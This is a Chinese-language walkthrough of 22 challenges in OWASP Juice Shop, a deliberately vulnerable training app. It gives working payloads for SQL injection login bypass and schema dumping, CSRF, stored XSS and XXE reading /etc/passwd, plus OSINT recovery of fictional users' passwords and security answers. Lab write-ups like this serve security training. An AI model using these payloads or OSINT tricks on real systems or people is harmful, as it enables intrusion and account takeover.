OWASP Juice Shop v12.1.0
OWASP Juice Shop目前有100个关卡,分为了6个难度等级,模拟真实环境。指不定做着做着你就解锁了其他关卡了。
Tips:在这一章节需要先学习拦截包、Burp Suite、Postman工具使用等等。
官方链接:https://github.com/bkimminich/juice-shop
本文内容为原创,请转发经得作者同意!
1. Forged Feedback
目标:以另一个用户名发布一些反馈。
考察:失效的访问控制
解题思路:
这里使用火狐浏览器,打开F12找到刚才提交的链接,右键进行编辑重放攻击,修改UserId为任意其它值即可。
2. CAPTCHA Bypass
目标:在 10 秒内提交 10个或更多的客户反馈。
考察:暴力破解
解题思路:
学习拦截包,使用重放模块,这里看了他这个验证码都不需要什么绕过,那个验证码captchaId和结果captcha对得上就可以成功,所以我们10秒内狂点send一直重放个10次以上就可以了。
3. Bjoern's Favorite Pet
目标:通过忘记密码功能和原始安全问题答案重置Bjoern's OWASP账户的密码。
考察:开源网络情报
解题思路:
这里通过之前拿到的管理员权限可以看到Bjoern注册了两个账号,但是我们这里来解他的OWASP账户(bjoern@owasp.org),这里主要是信息收集,到处找一些和作者Bjoern Kimminich相关的信息。
该会议谈话记录立即深入到Juice Shop应用程序的演示中,在其中Bjoern开始在视频中以4:30注册新帐户(https://youtu.be/Lu0-kDdtVf4?t=239),得到他的安全答案:Zaya。
4. Login Amy
目标:使用Amy的原始用户凭据登录。(这可能要花费938.3万亿亿亿世纪的才能暴力破解,但幸运的是她没有读过“最后的重要提示”)。
考察:开源网络情报
解题思路:
这些题都比较难搞,需要通过社工的方式去了解他们在网络上暴露的关键可用信息。
通过链接里的图片发现了相关信息:
<img src="https://curiositykillscolby.files.wordpress.com/2020/11/image-78.jpeg?w=805&quot; alt="The example with One Important Final Note should not be taken literally because it everyone began padding their passwords with simple dots. attackers would soon start adding dots to their guesses to bypass the need for full searching through unknown padding. Instead, YOU should invent your own personal padding_pgucy. You could put some padding in front, andlor interspersed through the phrase, and/or add some more to the end. You could put some characters at the beginning. padding in the middle, and more characters at the end. And also mix-up the padding characters by using simple memorable character pictures like "
带有一个重要最后注释的示例不应从字面上理解,因为每个人都从头开始用简单的点填充密码。攻击者很快就会在猜测中添加点,从而绕过了对未知填充进行全面搜索的需求。相反,您应该发明自己的个人padding_pgucy。您可以在前面添加一些填充,和/或穿插在短语中,和/或在末尾添加更多。您可以在开头放置一些字符。中间填充,最后添加更多字符。还可以通过使用简单易记的字符图片。
可参考搜索结果:https://www.grc.com/haystack.htm,阅读密码填充后,尝试输入示例密D0g.....................实际上,她做了一个非常相似的填充技巧,只是将丈夫Kif的名字写为K1f而不是示例中的D0g!她甚至不费心改变填充长度!
反正到最后也没解懂,翻看了大量资料,才知道amy@juice-sh.op她的密码是:K1f.....................(938.3万亿亿亿世纪才能解的21个点)
5. Reset Jim's Password
目标:通过忘记密码功能中安全问题的原始答案来重置Jim的密码。
考察:开源网络情报
解题思路:
从后台管理端可得知找回的账号 jim@juice-sh.op,找回密码安全问题是:你最年长的兄弟姐妹的中间名?去查看jim的各种评论后发现了这个,还有他的收货地址等等,这似乎会想起《星际迷航》的 James T. Kirk(一部评分比较高的烧脑电影,从国外引进,Star Trek),因为里面也有个演员James跟他很类似。查了一下,Kirk他这个家族里就有相关的George Samuel Kirk,中间名即为:Samuel。
6. Login Jim
目标:使用Jim的用户帐户登录。
考察:SQL注入
解题思路:
之前后台管理员获得了Jim的账号 jim@juice-sh.op,跟着指引做即可。
Playload: 账号: jim@juice-sh.op'-- 密码:任意
7. Login Bender
目标:使用Bender的用户帐户登录。
考察:SQL注入
解题思路:
之前后台管理员获得了Jim的账号 bender@juice-sh.op,跟着指引做即可。
Playload: 账号: bender@juice-sh.op'-- 密码:任意
8. Payback Time
目标:提交一个让你变得更富有的订单。
考察:输入验证不当
解题思路:
收藏到购物车时,拦截包把数量改成负数,然后进行正常支付购买即可,你会发现你的钱包余额变多了,本来这个金额计算后应该是:结算后余额=余额-订单价,现在订单价变成负的(负负得正),肯定结算后余额变多了。
9. Forged Review
目标:以另一个用户名义发布商品评论或者编辑任何已有的用户评论。
考察:失效的访问控制
解题思路:
发表评论时,拦截包把author评论者改成其他用户即可。
10. Privacy Policy Inspection
目标:证明您实际上阅读了我们的隐私政策。
考察:不公开即安全
解题思路:
你会发现鼠标放在隐私政策里的某些词上时会发光,分别是http://localhost
,We may also
,instruct you
,to refuse all
,reasonably necessary
和 responsibilityhe
。
把它们拼接起来就发现是个URL了,真服了这个脑洞。
(localhost:3000/we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility)
11. Manipulate Basket
目标:将额外商品放入另一个用户的购物车。
考察:失效的访问控制
解题思路:
加入购物篮的时候重放一下,把BasketId改为别的用户Id就行,但是简单试了一下,发现返回错误。
这时候加入购物篮的时候既给自己篮子加也给别人篮子加就不会出现这个问题了。
( {"ProductId": 14,"BasketId": "1","quantity": 1,"BasketId": "2"} )
12. GDPR Data Erasure
目标:使用已删除的Chris用户帐户登录。
考察:SQL注入
解题思路:
虽然能够看见后台注册账号,但是Chris已经被删除看不见了。那我们这里执行Playload进行注入登录。
账号:\' or deletedAt IS NOT NULL-- 密码:任意
因为克里斯似乎是唯一或至少是第一个被删除的用户,并将其强制执行NOT NULL
将仅使您在某个时间点被软删除的用户返回。
13. Deluxe Fraud
目标:无需付费获得高级会员资格。
考察:输入验证不当
解题思路:
这个很奇怪,登录有的账号有成为会员按钮,有的没有。拦截请求包,把支付方式从wallet改为其它任意即可。
14. Database Schema
目标:通过SQL注入获取整个数据库结构。
考察:SQL注入
解题思路:
从错误中可以看出是使用的SQLite数据库,如何 列出SQLite数据库中包含的所有表/索引” 模式存储在系统表中sqlite_master。
搜索接口(localhost:3000/rest/products/search?q=)是最好SQL注入的一个地方。
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM sqlite_master--
接下来,去掉不必要的产品结果,从而更改查询变成: qwert')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM sqlite_master--
最后一步是用正确的值替换一个固定值列名sql,这就是为什么要执行这个Playload:
qwert')) UNION SELECT sql, '2', '3', '4', '5', '6', '7', '8', '9' FROM sqlite_master--
15. Admin Registration
目标:注册一个拥有管理员权限的用户。
考察:输入验证不当
解题思路:
从其它接口中可得知是由 role来决定角色属性的。那么我们拦截注册包的时候也加上这个属性。
16. CSRF
目标:使用跨站点请求伪造从另一个来源更改用户的名字。
考察:输入验证不当
解题思路:
题目提供了另一个来源地址:http://htmledit.squarefree.com,这个内容粘贴到这个来源地址,攻击将立即执行。
<form action="http://localhost:3000/profile" method="POST"> <input name="username" value="CSRF"/> <input type="submit"/> </form> <script>document.forms[0].submit();</script>
您将看到错误消息或 下部框架中的空白页,因为即使在线HTML允许编辑将请求发送到Juice Shop,但不允许嵌入响应,通过检查用户名,确认用户名已更改为“ CSRF” 即可。
在实际的攻击场景中,攻击者将尝试欺骗合法用户打开由攻击者控制的网站。攻击者还可以选择隐藏自动发出的请求,例如通过嵌入到内联中高度和宽度为零的框架。
17. Product Tampering
目标:更改OWASP SSL高级取证工具(O-Saft)中链接的href为 https://owasp.slack.com。
考察:失效的访问控制
解题思路:
通过直接搜索 O-Saft直接使用REST API (http://localhost:3000/rest/products/search?q=o-saft),通过接口来更改,(http://localhost:3000/api/Products/9 PUT请求方式),这里我们用Postman工具。
Headers -> Content-Type:application/json
Body ->
{"description": "<a href=\"https://owasp.slack.com\" target=\"_blank\">More...</a>"}
18. Upload Size
目标:上传大于 100 kB 的文件。
考察:输入验证不当
解题思路:
网页端验证可防止上传大于100 KB的文件,那我们就绕过不用网页端,直接使用postman直接请求接口。
来自服务器的响应将是 204带内容的,挑战将得以成功解决。大于200 kB的文件被服务器端的上传大小检查拒绝,并显示500
错误信息
Error: File too large
。
19. Upload Type
目标:上传一个没有 .pdf 或 .zip 扩展名的文件。
考察:输入验证不当
解题思路:
跟上一题差不多,这里直接越过网页端限制,直接选择其他扩展名的文件上传就行,但是记得别大于200KB就行。
20. Client-side XSS Protection
目标:使用<iframe src="javascript:alert(`xss`)">
代码绕过客户端安全措施进行存储型XSS攻击。
考察:XSS
解题思路:
提交POST请求到 http://localhost:3000/api/Products 。
Headers -> Content-Type:application/json
Body ->
{
"email": "<iframe src=\"javascript:alert(`xss`)\">",
"password":"xss"
}
然后以管理员身份登录并访问 http://localhost:3000/#/administration进入管理页,能看到出现的这个XSS弹窗,关掉后点击查看注册用户的详情可看到注入详情。
21. API-only XSS
目标:使用<iframe src="javascript:alert(`xss`)">
代码在不使用前端应用程序情况下进行存储型 XSS 攻击。
考察:XSS
解题思路:
提交POST请求到 http://localhost:3000/api/Products 。
Headers -> Content-Type:application/json
Body ->
{
"name": "XSS",
"description": "<iframe src=\"javascript:alert(`xss`)\">",
"price": 47.11
}
Bearer ? 作为Authorization报头, ? 是从浏览器复制的令牌。
查看 http://localhost:3000/#/search。出现带有文本“ xss”的警告框,同时点击这个页的商品查看。
22. XXE Data Access
目标:从服务器获取 C:\Windows\system.ini
或
/etc/passwd
内容。。
考察:XXE
解题思路:
之前做二星难度Deprecated Interface的时候,有个废弃的B2B接口绕过上传XML可以利用一下。
准备一个定义和使用外部实体的XML文件<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
(或<!ENTITY xxe
SYSTEM "file:///C:/Windows/system.ini" >]>
在Windows上)。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><trades> <metadata> <name>Apple Juice</name> <trader> <foo>&xxe;</foo> <name>Sec. 5oneXj</name> </trader> <units>1500</units> <price>106</price> <name>Lemon Juice</name> <trader> <name>Sec. 5oneXj</name> </trader> <units>4500</units> <price>195</price> </metadata> </trades>
通过客户投诉对话框上传此文件,并在此过程中观察Javascript控制台。它应该会给您一个包含解析过的XML的错误消息,包括本地系统文件的内容!
本文内容为原创,请转发经得作者同意!